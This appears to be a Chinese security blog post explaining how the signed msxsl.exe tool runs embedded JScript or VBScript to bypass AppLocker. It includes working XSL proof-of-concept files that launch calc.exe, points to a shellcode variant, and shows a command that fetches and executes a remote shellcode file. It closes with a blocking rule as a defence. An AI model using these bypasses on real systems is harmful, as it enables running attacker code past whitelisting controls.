Use msxsl to bypass AppLocker
0x00 前言
Casey Smith@subTee 在 twitter 分享的一个技巧,使用包含微软签名的 msxsl.exe 能够执行 JScript 代码,从而实现对 Applocker 的绕过。
twitter 地址如下:https://twitter.com/subTee/status/877616321747271680
POC 地址如下:https://gist.github.com/subTee/47f16d60efc9f7cfefd62fb7a712ec8d
0x01 简介
本文将要对这项技术进行介绍,分析可供进一步利用的方法,同时对其扩展,介绍使用 msxsl.exe 执行 VBScript 代码的方式
0x02 msxsl
1、msxsl.exe
- XSL(Extensible Stylesheet Language) 转换器
- 命令行工具
- 带有微软数字签名
下载地址:https://www.microsoft.com/en-us/download/details.aspx?id=21714
执行如下图
参考 Casey Smith 的 POC:
customers.xml:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>John Smith</name>
<address>123 Elm St.</address>
<phone>(123) 456-7890</phone>
</customer>
<customer>
<name>Mary Jones</name>
<address>456 Oak Ave.</address>
<phone>(156) 789-0123</phone>
</customer>
</customers>
script.xml:
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
成功执行 JScript 代码,弹出计算器,poc 执行如下图
开启 Applocker,添加规则拦截 js 脚本的执行,如下图
但是使用 msxsl 仍然能够执行 JScript 代码
在之前的文章 《利用 JS 加载.Net 程序》 介绍过利用 JScript 脚本加载.Net 程序的方法,结合本文,可以得出推论:
使用 msxsl 也能够执行 c#代码
具体来说,能够实现以下功能:
- 执行 shellcode
- 执行 mimikatz
- 执行 powershell 脚本
2、执行 shellcode
可参照 Cn33liz 的 StarFighters,地址如下:https://github.com/Cn33liz/StarFighters/blob/master/StarFighter.js
结合 Casey 的 POC,就能够实现利用 msxsl 执行 shellcode
完整代码我已经上传至 github,地址如下:https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker/blob/master/shellcode.xml
测试如下图
对于执行 mimikatz 和 powershell 脚本,思路可参照之前的文章 《利用 JS 加载.Net 程序》
0x03 脚本优化
分析 xml 文件格式,对 Casey 的 POC 作适当优化
1、精简 customers.xml
XML 元素命名规则:
- 名称可以含字母、数字以及其他的字符
- 名称不能以数字或者标点符号开始
- 名称不能以字符 “xml”(或者 XML、Xml)开始
- 名称不能包含空格
- 可使用任何名称,没有保留的字词
原 POC 内容如下:
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>John Smith</name>
<address>123 Elm St.</address>
<phone>(123) 456-7890</phone>
</customer>
<customer>
<name>Mary Jones</name>
<address>456 Oak Ave.</address>
<phone>(156) 789-0123</phone>
</customer>
</customers>
经分析,参数 1 中的 xml 文件不重要,元素可以任意指定
去掉不相关的参数,重新命名一个 xml 元素,精简后代码如下:<a></a>
并且,如果为了少创建文件,使用 script.xsl 作为第一个 xml 文件参数也是可以的
例如,参数如下:msxsl.exe script.xsl script.xsl
执行成功,如下图
2、优化 script.xsl
执行 VBScript 代码:
注:经测试,此 xml 脚本不支持 CSharp,同该资料相违背,此问题有待解决
资料地址如下:https://msdn.microsoft.com/en-us/library/533texsx(VS.71).aspx
对于 VBScript 语言,不支持 return 表示函数返回值,通过函数名=需要返回的值来表示函数返回值
完整内容如下:
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
set shell=createobject("wscript.shell")
shell.run "calc.exe",0
myFunction = 0
end function
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:myFunction()"/>
</xsl:template>
</xsl:stylesheet>
以上文件内容对应 github 地址: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker/blob/master/VBScript.xml
注:调用函数名要对应:
<xsl:value-of select="user:myFunction()"/>
3、远程执行
msxsl.exe 也支持远程执行,参数如下:
msxls.exe ..//Use-msxsl-to-bypass-AppLocker/master/shellcode.xml ..//Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
如下图
注:该方法是从 Evi1cg 学来的,博客地址: https://evi1cg.me/archives/AppLocker_Bypass_MSXSL.html
0x04 防御
添加 Applocker 的可执行规则,指定 msxsl.exe
如下图
即使更改文件路径,msxsl.exe 仍然无法执行
如下图
0x05 小结
本文介绍了利用 msxsl 绕过 AppLocker 的方法,但是通过定制 AppLocker 规则,还是能够限制该方法的使用。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论